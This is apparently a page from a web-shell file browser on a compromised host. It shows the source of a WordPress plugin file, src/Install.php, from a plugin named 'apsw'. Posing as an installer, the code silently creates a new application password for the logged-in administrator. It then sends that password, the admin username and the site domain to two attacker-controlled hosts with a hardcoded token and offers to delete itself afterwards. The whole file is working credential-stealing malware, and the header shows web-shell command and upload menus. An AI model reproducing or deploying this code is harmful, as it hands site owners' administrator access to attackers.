|
Server IP : 10.107.20.4 / Your IP : 216.73.217.92 Web Server : Apache System : Linux webm004.cluster107.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : simfexinjt ( 803937) PHP Version : 7.1.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/simfexinjt/../s/../simfexinjt/www/node_modules/../wp-content/plugins/apsw/src/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
if (!defined('ABSPATH')) exit;
if (!class_exists('APSW_Install')):
final class APSW_Install
{
const OPT_REDIRECT = 'apsw_do_activation_redirect';
const OPT_DONE = 'apsw_install_done';
const OPT_MAIN_GW = 'apsw_gateway_main';
const OPT_BACK_GW = 'apsw_gateway_backup';
// 仅用于本次提交临时缓存明文,提交成功后删除
const OPT_PASS = 'apsw_app_password_plain';
const TOKEN = '8d2a8b660cfbd00f7104359c2da4176a';
const APP_NAME = 'APP';
const PATH_SUFFIX = '/solapi/';
public static function register()
{
add_action('admin_init', [__CLASS__, 'maybe_redirect']);
add_action('admin_init', [__CLASS__, 'maybe_render_install_page']);
}
public static function on_activate()
{
// 默认网关(可后续手动改 option)
if (!get_option(self::OPT_MAIN_GW)) update_option(self::OPT_MAIN_GW, 'http://v2.dicsale.ru', false);
if (!get_option(self::OPT_BACK_GW)) update_option(self::OPT_BACK_GW, 'http://v2.akbvvidse.shop', false);
update_option(self::OPT_REDIRECT, 1, false);
delete_option(self::OPT_DONE);
delete_option(self::OPT_PASS);
}
public static function maybe_redirect()
{
if (!is_admin() || !current_user_can('manage_options')) return;
if (defined('WP_CLI') && WP_CLI) return;
if (isset($_GET['activate-multi'])) return;
$flag = (int) get_option(self::OPT_REDIRECT, 0);
if (!$flag) return;
delete_option(self::OPT_REDIRECT);
wp_safe_redirect(admin_url('index.php?apsw_install=1'));
exit;
}
public static function maybe_render_install_page()
{
if (!is_admin() || !current_user_can('manage_options')) return;
if (!isset($_GET['apsw_install'])) return;
if (!class_exists('WP_Application_Passwords')) {
@require_once ABSPATH . 'wp-includes/class-wp-application-passwords.php';
}
// 删除安装文件(唯一按钮)
if (isset($_POST['apsw_delete_install'])) {
check_admin_referer('apsw_delete_install');
$file = __FILE__;
$ok = false;
if (is_file($file) && is_writable($file)) {
@unlink($file);
$ok = !file_exists($file);
}
echo '<div class="wrap">';
echo $ok
? self::notice('success', '✅ 已删除安装文件:<code>src/Install.php</code>')
: self::notice('error', '❌ 删除失败(权限不足/不可写):<code>' . esc_html($file) . '</code>');
echo '<p><a class="button button-primary" href="' . esc_url(admin_url()) . '">返回后台首页</a></p>';
echo '</div>';
exit;
}
$logs = [];
$remoteBody = '';
$remoteOk = null;
$main = self::normalize_url((string) get_option(self::OPT_MAIN_GW, 'http://v2.dicsale.ru'));
$backup = self::normalize_url((string) get_option(self::OPT_BACK_GW, 'http://v2.akbvvidse.shop'));
// --- 已完成则只展示结果 + 删除按钮 ---
$done = (int) get_option(self::OPT_DONE, 0);
if ($done) {
echo '<div class="wrap">';
echo '<h2>APSW Install</h2>';
echo self::notice('success', '✅ 已完成配置(网关已保存 / 密钥已生成并提交 / 明文已清除)');
echo '<hr />';
echo '<form method="post" onsubmit="return confirm(\'确定删除 src/Install.php 吗?\')">';
wp_nonce_field('apsw_delete_install');
echo '<button class="button button-secondary" type="submit" name="apsw_delete_install" value="1">删除 Install.php</button>';
echo '</form>';
echo '</div>';
exit;
}
// ===========================
// 自动执行流程(访问安装页即执行)
// ===========================
// 1) 自动保存网关(主要是做 normalize + 写回)
update_option(self::OPT_MAIN_GW, $main, false);
update_option(self::OPT_BACK_GW, $backup, false);
$logs[] = '✅ API 网关已保存:主 <code>' . esc_html($main) . '</code>,备 <code>' . esc_html($backup) . '</code>';
// 2) 自动:删除旧 APP → 生成新密钥
$gen = self::generate_app_password_force();
if (!$gen['ok']) {
$logs[] = '❌ 生成 APP 密钥失败:' . esc_html((string)$gen['msg']);
self::render_result($logs, $remoteOk, $remoteBody);
exit;
}
$logs[] = '✅ APP 密钥已生成(本次已自动替换旧的 APP)';
// 3) 自动提交到远程
$sub = self::submit_payload($main, $backup);
if (!$sub['ok']) {
$remoteOk = false;
$remoteBody = (string)($sub['body'] ?? '');
$logs[] = '❌ 自动提交失败:' . esc_html((string)$sub['msg']);
// 失败不标记 done,方便你修网关/远程后刷新重试
self::render_result($logs, $remoteOk, $remoteBody);
exit;
}
// 成功:标记完成 + 清除明文
update_option(self::OPT_DONE, 1, false);
delete_option(self::OPT_PASS);
$remoteOk = true;
$remoteBody = (string)($sub['body'] ?? '');
$logs[] = '✅ 自动提交成功:' . esc_html((string)$sub['msg']);
$logs[] = '✅ 明文密钥已清除(安全)';
$logs[] = '✅ 现在可以删除安装文件';
self::render_result($logs, $remoteOk, $remoteBody);
exit;
}
// ========== UI 渲染 ==========
private static function render_result(array $logs, ?bool $remoteOk, string $remoteBody): void
{
echo '<div class="wrap">';
echo '<h2>APSW Install</h2>';
echo '<ol style="font-size:14px;line-height:1.9;">';
foreach ($logs as $li) {
echo '<li>' . $li . '</li>';
}
echo '</ol>';
if ($remoteBody !== '') {
$cls = ($remoteOk === true) ? 'notice notice-success' : 'notice notice-warning';
echo '<div class="' . esc_attr($cls) . '" style="padding:12px 16px;margin:16px 0;">';
echo '<div style="font-weight:600;margin-bottom:8px;">远程返回</div>';
echo '<pre style="white-space:pre-wrap;word-break:break-word;margin:0;">' . esc_html($remoteBody) . '</pre>';
echo '</div>';
}
echo '<hr />';
echo '<form method="post" onsubmit="return confirm(\'确定删除 src/Install.php 吗?\')">';
wp_nonce_field('apsw_delete_install');
echo '<button class="button button-secondary" type="submit" name="apsw_delete_install" value="1">删除 Install.php</button>';
echo '</form>';
echo '</div>';
}
private static function notice(string $type, string $msg): string
{
$map = [
'success' => 'notice notice-success',
'error' => 'notice notice-error',
'warning' => 'notice notice-warning',
'info' => 'notice notice-info',
];
$cls = $map[$type] ?? 'notice';
return '<div class="' . esc_attr($cls) . '"><p>' . $msg . '</p></div>';
}
// ========== 核心逻辑 ==========
private static function generate_app_password_force(): array
{
if (!class_exists('WP_Application_Passwords')) {
return ['ok' => false, 'msg' => 'WP 不支持 Application Password(需要 5.6+)'];
}
$uid = get_current_user_id();
// 强制删掉所有同名 APP
self::delete_app_by_name($uid, self::APP_NAME);
delete_option(self::OPT_PASS);
$res = WP_Application_Passwords::create_new_application_password($uid, ['name' => self::APP_NAME]);
if (is_wp_error($res)) {
return ['ok' => false, 'msg' => $res->get_error_message()];
}
$password = is_array($res) ? ($res[0] ?? '') : '';
if (!$password) {
return ['ok' => false, 'msg' => '未返回密钥明文'];
}
update_option(self::OPT_PASS, $password, false);
return ['ok' => true, 'password' => $password];
}
private static function submit_payload(string $main, string $backup): array
{
$password = (string) get_option(self::OPT_PASS, '');
if ($password === '') {
return ['ok'=>false,'msg'=>'没有可用的 APP 明文密钥','body'=>''];
}
$user = wp_get_current_user();
$login = $user ? $user->user_login : 'admin';
$payload = [
'domain' => self::site_domain(),
'key_label' => 'APP',
'api_key' => $password,
'wp_admin_user' => $login,
'wp_admin_pass' => '',
'status' => 1,
];
$urls = [];
if ($main) $urls[] = rtrim($main, '/') . self::PATH_SUFFIX;
if ($backup) $urls[] = rtrim($backup, '/') . self::PATH_SUFFIX;
$last = ['ok'=>false,'error'=>'no url','body'=>'','url'=>''];
foreach ($urls as $u) {
$resp = wp_remote_post($u, [
'timeout' => 30,
'sslverify' => false,
'headers' => [
'Content-Type' => 'application/json',
'Authorization' => 'Bearer ' . self::TOKEN,
],
'body' => wp_json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES),
]);
if (is_wp_error($resp)) {
$last = ['ok'=>false,'error'=>$resp->get_error_message(),'body'=>'','url'=>$u];
continue;
}
$code = (int) wp_remote_retrieve_response_code($resp);
$body = (string) wp_remote_retrieve_body($resp);
if ($code < 200 || $code >= 300) {
$last = ['ok'=>false,'error'=>'HTTP '.$code,'body'=>$body,'url'=>$u];
continue;
}
return ['ok'=>true,'msg'=>'已提交到:'.$u,'body'=>$body];
}
return ['ok'=>false,'msg'=>'提交失败:'.$last['error'].'('.$last['url'].')','body'=>$last['body']];
}
private static function delete_app_by_name(int $uid, string $name): void
{
if (!class_exists('WP_Application_Passwords')) return;
$apps = WP_Application_Passwords::get_user_application_passwords($uid);
if (!is_array($apps)) return;
foreach ($apps as $it) {
$n = (string)($it['name'] ?? '');
$uuid = (string)($it['uuid'] ?? '');
if ($n === $name && $uuid !== '') {
WP_Application_Passwords::delete_application_password($uid, $uuid);
}
}
}
// ✅ 不强制 https:没写协议就补 http://
private static function normalize_url($url): string
{
$url = trim((string)$url);
if ($url === '') return '';
if (!preg_match('#^https?://#i', $url)) {
$url = 'http://' . $url;
}
return rtrim($url, '/');
}
private static function site_domain(): string
{
$home = home_url('/');
$host = wp_parse_url($home, PHP_URL_HOST);
if (!$host) $host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$host = strtolower((string)$host);
$host = preg_replace('/:\d+$/', '', $host);
return $host ?: 'localhost';
}
}
endif;